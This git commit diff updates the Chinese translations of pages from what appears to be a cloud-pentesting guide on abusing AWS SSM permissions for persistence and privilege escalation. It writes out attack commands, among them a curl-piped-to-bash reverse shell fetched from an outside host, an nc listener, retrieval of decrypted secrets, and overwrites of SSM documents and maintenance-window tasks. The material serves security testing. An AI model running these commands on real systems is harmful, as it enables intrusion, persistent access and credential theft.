Translated ['', 'src/pentesting-cloud/aws-security/aws-persistence/aws-s

This commit is contained in:
Translator
2026-04-21 08:24:18 +00:00
parent 716912d20d
commit 26ff74a1b6
2 changed files with 124 additions and 25 deletions

View File

@@ -4,15 +4,15 @@
## SSM
更多信息请参见
更多信息请查看
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
{{#endref}}
### 使用 ssm:CreateAssociation for persistence
### 使用 ssm:CreateAssociation 进行 persistence
**`ssm:CreateAssociation`** 权限的攻击者可以创建 State Manager Association在由 SSM 管理的 EC2 实例上自动执行命令。这些 associations 可以配置为固定间隔运行,使其适合用于无需交互式会话的 backdoor-like persistence
**`ssm:CreateAssociation`** 权限的攻击者可以创建一个 State Manager Association自动在由 SSM 管理的 EC2 instances 上执行命令。这些 associations 可以配置为固定间隔运行,因此适合用于类似后门的 persistence而无需交互式 sessions
```bash
aws ssm create-association \
--name SSM-Document-Name \
@@ -22,6 +22,56 @@ aws ssm create-association \
--association-name association-name
```
> [!NOTE]
> 只要 EC2 实例由 Systems Manager 管理、SSM agent 正在运行,且攻击者有创建 associations 的权限,该持久化方法就能生效。它不需要交互式会话或显式的 ssm:SendCommand 权限。**重要:** `--schedule-expression` 参数(例如 `rate(30 minutes)`)必须遵守 AWS 的最小间隔 30 分钟。若要立即或一次性执行,完全省略 `--schedule-expression` — association 在创建后执行一次。
> 只要 EC2 instance 由 Systems Manager 管理、SSM agent 正在运行,且攻击者有权限创建 associations,这种 persistence 方法就效。它不需要交互式 sessions 或显式的 `ssm:SendCommand` permissions。**Important:** `--schedule-expression` 参数(例如 `rate(30 minutes)`)必须符合 AWS 规定的最小间隔 30 minutes。对于立即或一次性执行,完全省略 `--schedule-expression` 即可 — association 在创建后执行一次。
### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`)
拥有 **`ssm:UpdateDocument`** 和 **`ssm:UpdateDocumentDefaultVersion`** permissions 的 attacker 可以通过修改现有 documents 来提升 privileges。这也允许在该 document 内实现 persistence。实际上attacker 还需要 **`ssm:ListDocuments`** 来获取 custom documents 的名称;如果 attacker 想把 payload 伪装在现有 document 中,那么还需要 **`ssm:GetDocument`**。
```bash
aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2
```
下面是一个示例 document可用于覆盖现有 document。你需要确保你的 document type 与目标 document 的 type 匹配,以避免 invocation 问题。下面的 document 例如将适用于 **`ssm:SendCommand`** 和 **`ssm:CreateAssociation`** 示例。
```yaml
schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"
```
### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`)
拥有 **`ssm:RegisterTaskWithMaintenanceWindow`** 和 **`ssm:RegisterTargetWithMaintenanceWindow`** 权限的攻击者,可以通过先将一个新的 target 注册到现有的 maintenance window 中,然后再更新注册一个新的 task 来提升权限。这样可以在现有 targets 上实现执行,但也可以通过注册新的 targets让攻击者 compromise 使用不同 roles 的 compute。这也使得持久化成为可能因为 maintenance windows tasks 会在 window 创建时预定义的间隔内执行。实际上,攻击者还需要 **`ssm:DescribeMaintenanceWindows`** 来获取 maintenance window IDs。
``` bash
aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## SSM
有关 SSM 的更多信息,请参见
有关 SSM 的更多信息,请查看
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -12,7 +12,7 @@
### `ssm:SendCommand`
拥有权限 **`ssm:SendCommand`** 的攻击者可以在运行 Amazon SSM Agent 的实例中 **执行命令**,并 **妥协实例内运行的 IAM Role**
拥有 **`ssm:SendCommand`** 权限的攻击者可以在运行 Amazon SSM Agent 的实例中**执行命令**,并**攻陷**其中运行的 IAM Role。
```bash
# Check for configured instances
aws ssm describe-instance-information
@@ -23,7 +23,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
```
如果你在已被攻陷的 EC2 实例中使用此技术来 escalate privileges,你可以在本地用以下命令捕获 rev shell
如果你正在使用这个 technique 在一个已经被 compromised 的 EC2 instance 内进行 privilege escalation,你可以直接在本地捕获 rev shell,使用
```bash
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
@@ -31,11 +31,11 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
```
**潜在影响:** 对运行着 SSM Agents 的实例上附加的 EC2 IAM 角色进行直接 privesc
**潜在影响:** 直接提权到附加在运行中实例上的 EC2 IAM roles前提是这些实例正在运行 SSM Agents
### `ssm:StartSession`
具有权限 **`ssm:StartSession`** 的攻击者可以在运行 Amazon SSM Agent 的实例**启动类似 SSH 的会话**,并**接管其中运行的 IAM Role**
拥有 **`ssm:StartSession`** 权限的攻击者可以在运行 Amazon SSM Agent 的实例**启动一个类似 SSH 的 session**,并**compromise**其中运行的 IAM Role。
```bash
# Check for configured instances
aws ssm describe-instance-information
@@ -45,25 +45,25 @@ aws ssm describe-sessions --state Active
aws ssm start-session --target "$INSTANCE_ID"
```
> [!CAUTION]
> 要启动会话,你需要安装 **SessionManagerPlugin**: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
> 为了启动一个 session,你需要安装 **SessionManagerPlugin**: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
**Potential Impact:** 直接 privesc 到附加正在运行且运行 SSM Agents 的实例上的 EC2 IAM roles。
**Potential Impact:** 直接 privesc 到附加正在运行且运行 SSM Agents 的实例上的 EC2 IAM roles。
#### Privesc to ECS
When **ECS tasks** run with **`ExecuteCommand` enabled** users with enough permissions can use `ecs execute-command` to **执行命令** inside the container.\
根据 [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) ,这是通过使用 SSM Session Manager 在用于发起 “_exec_” 命令的设备与目标容器之间创建一个安全通道来实现的。 (SSM Session Manager Plugin 必需才能使其工作)\
因此,`ssm:StartSession` 权限的用户只需运行以下命令,即可在启用了该选项的 ECS tasks 中 **get a shell inside ECS tasks**
**ECS tasks** 以启用 **`ExecuteCommand`** 的方式运行时,拥有足够权限的用户可以使用 `ecs execute-command` 在 container 内执行 command。\
根据[**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/),这是通过在你用于发起 “_exec_“ command 的设备与目标 container 之间,使用 SSM Session Manager 创建一个 secure channel 来实现的。(这需要 SSM Session Manager Plugin 才能正常工作)\
因此,`ssm:StartSession` 的用户可以通过仅运行以下命令,在启用了该选项的 ECS tasks 中获取一个 shell:
```bash
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
```
![](<../../../images/image (185).png>)
**潜在影响:** 直接对附加到启用了 `ExecuteCommand`正在运行任务`ECS` IAM 角色进行 privesc
**Potential Impact:** 直接 privesc 到启用了 `ExecuteCommand`运行中 tasks 所附加`ECS` IAM roles。
### `ssm:ResumeSession`
拥有权限 **`ssm:ResumeSession`** 的攻击者可以重新**在运行 Amazon SSM Agent 的实例中启动类似 SSH 的会话**,该实例的 SSM 会话处于**已断开**状态,并**攻陷其内部运行的 IAM Role**。
拥有权限 **`ssm:ResumeSession`** 的攻击者可以在运行 Amazon SSM Agent 的 instances 上,针对处于 **disconnected** 的 SSM session state重新**启动一个类似 SSH 的 session**,并**compromise 其中运行的 IAM Role**。
```bash
# Check for configured instances
aws ssm describe-sessions
@@ -72,30 +72,30 @@ aws ssm describe-sessions
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5
```
**潜在影响:** 直接 privesc 到附加在正在运行且安装了 SSM Agents 且会话已断开的实例上的 EC2 IAM 角色
**潜在影响:** 直接 privesc 到附加在运行中实例上的 EC2 IAM roles前提是这些实例运行着 SSM Agents 且有断开的 sessions
### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`)
有上述权限的攻击者将能够列出 **SSM 参数** **以明文读取它们**。在这些参数中,通常可以 **发现敏感信息**,例如 SSH keys 或 API keys。
有上述权限的攻击者将能够列出 **SSM parameters** 并以明文读取它们。在这些 parameters 中,你经常可以**找到敏感信息**,例如 SSH keys 或 API keys。
```bash
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption
```
**Potential Impact:** 在参数中发现敏感信息。
**Potential Impact:** 在参数中查找敏感信息。
### `ssm:ListCommands`
拥有此权限的攻击者可以列出所有已发送的 **commands**,并有望在其中发现 **敏感信息**
拥有此权限的攻击者可以列出发送的所有 **commands**,并希望从中找到 **敏感信息**
```
aws ssm list-commands
```
**潜在影响:** 在命令行中发现敏感信息。
**潜在影响:** 在命令行中查找敏感信息。
### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`)
拥有这些权限的攻击者可以列出所有已发送的 **commands****读取生成的输出**,从而有可能在其中发现 **敏感信息**
拥有这些权限的攻击者可以列出发送的所有**commands**并**读取输出**,希望能在其中找到**敏感信息**。
```bash
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
@@ -105,9 +105,9 @@ aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
```
**潜在影响:** 在命令行输出中查找敏感信息。
### 使用 ssm:CreateAssociation
### Using ssm:CreateAssociation
**`ssm:CreateAssociation`** 权限的 attacker 可以创建 State Manager Association在由 SSM 管理的 EC2 实例上自动执行命令。这些 associations 可以配置为按固定间隔运行,使其适合用于 backdoor-like persistence,而无需交互式会话。
**`ssm:CreateAssociation`** 权限的攻击者可以创建一个 State Manager Association,自动在由 SSM 管理的 EC2 实例上执行命令。这些 associations 可以配置为按固定间隔运行,因此适合用于类似后门的持久化,而无需交互式会话。
```bash
aws ssm create-association \
--name SSM-Document-Name \
@@ -117,8 +117,57 @@ aws ssm create-association \
--association-name association-name
```
> [!NOTE]
> 只要 EC2 实例由 Systems Manager 管理、SSM agent 正在运行,且攻击者具有创建 associations 的权限,该持久化方法就能生效。它不需要交互式会话或显式的 ssm:SendCommand 权限。**重要:** `--schedule-expression` 参数(例如 `rate(30 minutes)`)必须遵守 AWS 的最小间隔 30 分钟。若需立即或一次性执行,完全省略 `--schedule-expression` — association 在创建后执行一次。
> 只要 EC2 instance 由 Systems Manager 管理、SSM agent 正在运行,并且 attacker 有权限创建 associations这种 persistence 方法就效。它不需要 interactive sessions 或显式的 `ssm:SendCommand` permissions。**Important:** `--schedule-expression` 参数(例如`rate(30 minutes)`)必须遵守 AWS 的最小 30 分钟间隔。对于立即或一次性执行,完全省略 `--schedule-expression` 即可 — association 在创建后执行一次。
### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`)
拥有 **`ssm:UpdateDocument`** 和 **`ssm:UpdateDocumentDefaultVersion`** permissions 的 attacker 可以通过修改 existing documents 来 escalate privileges。这也允许在该 document 内进行 persistence。实际上attacker 还需要 **`ssm:ListDocuments`** 来获取 custom documents 的名称;如果 attacker 想在 existing document 中 obfuscate 其 payload则还需要 **`ssm:GetDocument`**。
```bash
aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2
```
以下是一个示例 document可用于覆盖现有 document。你需要确保你的 document type 与目标 document 的 type 匹配,以避免 invocation 出现问题。下面这个 document 例如会适用于 **`ssm:SendCommand`** 和 **`ssm:CreateAssociation`** 示例。
```yaml
schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"
```
### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`)
拥有 **`ssm:RegisterTaskWithMaintenanceWindow`** 和 **`ssm:RegisterTargetWithMaintenanceWindow`** 权限的攻击者,可以先将一个新的 target 注册到现有的 maintenance window然后再更新并注册一个新的 task从而实现权限提升。这样可以在现有 targets 上执行命令,但通过注册新的 targets攻击者也可以入侵使用不同 roles 的 compute。这也允许持久化因为 maintenance windows tasks 会在 window 创建时预定义的 interval 内执行。实际上,攻击者还需要 **`ssm:DescribeMaintenanceWindows`** 来获取 maintenance window IDs。
``` bash
aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100
```
### Codebuild
你也可以使用 SSM 进入正在构建的 codebuild 项目: